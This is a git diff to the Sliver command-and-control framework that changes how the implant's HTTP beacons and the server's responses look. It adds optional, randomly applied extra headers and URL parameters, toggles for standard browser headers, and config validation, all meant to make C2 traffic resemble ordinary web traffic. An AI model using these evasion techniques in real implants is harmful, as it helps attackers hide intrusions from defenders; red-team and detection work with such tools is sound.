diff --git a/implant/sliver/transports/httpclient/httpclient.go b/implant/sliver/transports/httpclient/httpclient.go index 5bf2ce893c..86c86d02e2 100644 --- a/implant/sliver/transports/httpclient/httpclient.go +++ b/implant/sliver/transports/httpclient/httpclient.go @@ -62,11 +62,13 @@ var ( // HTTPOptions - c2 specific configuration options type HTTPOptions struct { - NetTimeout time.Duration - TlsTimeout time.Duration - PollTimeout time.Duration - MaxErrors int - ForceHTTP bool + NetTimeout time.Duration + TlsTimeout time.Duration + PollTimeout time.Duration + MaxErrors int + ForceHTTP bool + DisableAcceptHeader bool + DisableUpgradeHeader bool ProxyConfig string ProxyUsername string @@ -92,11 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions { maxErrors = 10 } return &HTTPOptions{ - NetTimeout: netTimeout, - TlsTimeout: tlsTimeout, - PollTimeout: pollTimeout, - MaxErrors: maxErrors, - ForceHTTP: c2URI.Query().Get("force-http") == "true", + NetTimeout: netTimeout, + TlsTimeout: tlsTimeout, + PollTimeout: pollTimeout, + MaxErrors: maxErrors, + ForceHTTP: c2URI.Query().Get("force-http") == "true", + DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true", + DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true", ProxyConfig: c2URI.Query().Get("proxy"), ProxyUsername: c2URI.Query().Get("proxy-username"), @@ -110,7 +114,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl var err error if !opts.ForceHTTP { client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) - client.pollTimeout = opts.PollTimeout + client.Options = opts client.PathPrefix = pathPrefix err = client.SessionInit() if err == nil { @@ -123,6 +127,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl address = fmt.Sprintf("%s:80", address[:len(address)-4]) } client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP + client.Options = opts + client.PathPrefix = pathPrefix err = client.SessionInit() if err != nil { return nil, err @@ -133,16 +139,17 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl // SliverHTTPClient - Helper struct to keep everything together type SliverHTTPClient struct { - Origin string - PathPrefix string - Client *http.Client - ProxyURL string - SessionCtx *cryptography.CipherContext - SessionID string - pollTimeout time.Duration - pollCancel context.CancelFunc - pollMutex *sync.Mutex - Closed bool + Origin string + PathPrefix string + Client *http.Client + ProxyURL string + SessionCtx *cryptography.CipherContext + SessionID string + pollCancel context.CancelFunc + pollMutex *sync.Mutex + Closed bool + + Options *HTTPOptions } // SessionInit - Initialize the session @@ -199,13 +206,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request { req, _ := http.NewRequest(method, uri.String(), body) req.Header.Set("User-Agent", userAgent) - if method == http.MethodGet { + if method == http.MethodGet && !s.Options.DisableAcceptHeader { req.Header.Set("Accept-Language", "en-US,en;q=0.9") req.Header.Set("Accept", acceptHeaderValue) } - if uri.Scheme == "http" { + if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader { req.Header.Set("Upgrade-Insecure-Requests", "1") } + + type nameValueProbability struct { + Name string + Value string + Probability string + } + + // HTTP C2 Profile headers + extraHeaders := []nameValueProbability{ + // {{range $header := .HTTPC2ImplantConfig.Headers}} + {Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"}, + // {{end}} + } + for _, header := range extraHeaders { + probability, _ := strconv.Atoi(header.Probability) + if 0 < probability { + roll := insecureRand.Intn(99) + 1 + if probability < roll { + continue + } + } + req.Header.Set(header.Name, header.Value) + } + + extraURLParams := []nameValueProbability{ + // {{range $param := .HTTPC2ImplantConfig.URLParameters}} + {Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"}, + // {{end}} + } + queryParams := req.URL.Query() + for _, param := range extraURLParams { + probability, _ := strconv.Atoi(param.Probability) + if 0 < probability { + roll := insecureRand.Intn(99) + 1 + if probability < roll { + continue + } + } + queryParams.Set(param.Name, param.Value) + } + req.URL.RawQuery = queryParams.Encode() return req } @@ -235,7 +283,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er select { case <-ctx.Done(): done <- ctx.Err() - case <-time.After(s.pollTimeout): + case <-time.After(s.Options.PollTimeout): // {{if .Config.Debug}} log.Printf("[http] poll timeout error!") // {{end}} @@ -474,7 +522,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string { for index, segment := range segments { segments[index] = url.PathEscape(segment) } - if s.PathPrefix != "" { + if s.PathPrefix != "" && s.PathPrefix != "/" { segments = append([]string{s.PathPrefix}, segments...) } return strings.Join(segments, "/") diff --git a/server/c2/http.go b/server/c2/http.go index dee5a30880..f9933e7db2 100644 --- a/server/c2/http.go +++ b/server/c2/http.go @@ -404,7 +404,13 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler { if s.c2Config.ServerConfig.RandomVersionHeaders { resp.Header().Set("Server", s.getServerHeader()) } - for _, header := range s.c2Config.ServerConfig.ExtraHeaders { + for _, header := range s.c2Config.ServerConfig.Headers { + if 0 < header.Probability && header.Probability < 100 { + roll := insecureRand.Intn(99) + 1 + if header.Probability < roll { + continue + } + } resp.Header().Set(header.Name, header.Value) } next.ServeHTTP(resp, req) diff --git a/server/configs/database.go b/server/configs/database.go index 8600d3bead..a0cae901ab 100644 --- a/server/configs/database.go +++ b/server/configs/database.go @@ -44,7 +44,7 @@ const ( var ( // ErrInvalidDialect - An invalid dialect was specified - ErrInvalidDialect = errors.New("Invalid SQL Dialect") + ErrInvalidDialect = errors.New("invalid SQL Dialect") databaseConfigLog = log.NamedLogger("config", "database") ) diff --git a/server/configs/http-c2.go b/server/configs/http-c2.go index 01430cb167..fd5650fabe 100644 --- a/server/configs/http-c2.go +++ b/server/configs/http-c2.go @@ -35,7 +35,7 @@ import ( const ( httpC2ConfigFileName = "http-c2.json" - chromeBaseVer = 89 + chromeBaseVer = 92 ) // HTTPC2Config - Parent config file struct for implant/server @@ -103,16 +103,17 @@ func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig { return config } -type HTTPHeader struct { - Name string `json:"name"` - Value string `json:"value"` -} - // HTTPC2ServerConfig - Server configuration options type HTTPC2ServerConfig struct { - RandomVersionHeaders bool `json:"random_version_headers"` - ExtraHeaders []HTTPHeader `json:"headers"` - Cookies []string `json:"cookies"` + RandomVersionHeaders bool `json:"random_version_headers"` + Headers []NameValueProbability `json:"headers"` + Cookies []string `json:"cookies"` +} + +type NameValueProbability struct { + Name string `json:"name"` + Value string `json:"value"` + Probability int `json:"probability"` } // HTTPC2ImplantConfig - Implant configuration options @@ -125,9 +126,10 @@ type HTTPC2ServerConfig struct { // .png = stop // .woff = sliver shellcode type HTTPC2ImplantConfig struct { - UserAgent string `json:"user_agent"` - URLParameters []string `json:"url_parameters"` - Headers []string `json:"headers"` + UserAgent string `json:"user_agent"` + + URLParameters []NameValueProbability `json:"url_parameters"` + Headers []NameValueProbability `json:"headers"` MaxFiles int `json:"max_files"` MinFiles int `json:"min_files"` @@ -215,8 +217,8 @@ var ( Cookies: []string{ "PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS", }, - ExtraHeaders: []HTTPHeader{ - {"Cache-Control", "no-store, no-cache, must-revalidate"}, + Headers: []NameValueProbability{ + {Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100}, }, }, ImplantConfig: &HTTPC2ImplantConfig{ @@ -288,7 +290,7 @@ func GetHTTPC2Config() *HTTPC2Config { httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err) return &defaultHTTPC2Config } - err = CheckHTTPC2Config(config) + err = checkHTTPC2Config(config) if err != nil { httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err) return &defaultHTTPC2Config @@ -296,6 +298,35 @@ func GetHTTPC2Config() *HTTPC2Config { return config } +// CheckHTTPC2ConfigErrors - Get the current HTTP C2 config +func CheckHTTPC2ConfigErrors() error { + configPath := GetHTTPC2ConfigPath() + if _, err := os.Stat(configPath); os.IsNotExist(err) { + err = generateDefaultConfig(configPath) + if err != nil { + httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err) + return err + } + } + data, err := ioutil.ReadFile(configPath) + if err != nil { + httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err) + return err + } + config := &HTTPC2Config{} + err = json.Unmarshal(data, config) + if err != nil { + httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err) + return err + } + err = checkHTTPC2Config(config) + if err != nil { + httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err) + return err + } + return nil +} + func generateDefaultConfig(saveTo string) error { data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ") if err != nil { @@ -317,12 +348,13 @@ var ( ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext") ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value") ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions") + ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters") - fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+") + fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`) ) -// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes -func CheckHTTPC2Config(config *HTTPC2Config) error { +// checkHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes +func checkHTTPC2Config(config *HTTPC2Config) error { err := checkServerConfig(config.ServerConfig) if err != nil { return err @@ -448,5 +480,12 @@ func checkImplantConfig(config *HTTPC2ImplantConfig) error { allExtensions[ext] = true } + // Query Parameter Names + for _, queryParam := range config.URLParameters { + if len(queryParam.Name) < 3 { + return ErrQueryParamNameLen + } + } + return nil } diff --git a/server/configs/http-c2_test.go b/server/configs/http-c2_test.go index 84d4d7fff6..6cbb11d49c 100644 --- a/server/configs/http-c2_test.go +++ b/server/configs/http-c2_test.go @@ -51,7 +51,7 @@ func TestDefaultConfig(t *testing.T) { if err != nil { t.Fatal(err) } - err = CheckHTTPC2Config(config) + err = checkHTTPC2Config(config) if err != nil { t.Fatal(err) } @@ -64,7 +64,7 @@ func TestPollConfig(t *testing.T) { origPollFileExt := config.ImplantConfig.PollFileExt for _, ext := range []string{"", ".", "..."} { config.ImplantConfig.PollFileExt = ext - err := CheckHTTPC2Config(&config) + err := checkHTTPC2Config(&config) if err != ErrMissingPollFileExt { t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt) } @@ -82,7 +82,7 @@ func TestPollConfig(t *testing.T) { origPollFiles := config.ImplantConfig.PollFiles for _, empty := range emptyPollFiles { config.ImplantConfig.PollFiles = empty - err := CheckHTTPC2Config(&config) + err := checkHTTPC2Config(&config) if err != ErrTooFewPollFiles { t.Fatalf("Expected too few poll files from %v got %v", empty, err) } diff --git a/server/console/console.go b/server/console/console.go index 6e5bbe8548..204054551f 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -31,6 +31,7 @@ import ( consts "github.com/bishopfox/sliver/client/constants" clienttransport "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/transport" "google.golang.org/grpc" ) @@ -49,11 +50,14 @@ func Start() { } conn, err := grpc.DialContext(context.Background(), "bufnet", options...) if err != nil { - fmt.Printf(Warn+"Failed to dial bufnet: %s", err) + fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err) return } defer conn.Close() localRPC := rpcpb.NewSliverRPCClient(conn) + if err := configs.CheckHTTPC2ConfigErrors(); err != nil { + fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err) + } clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true) }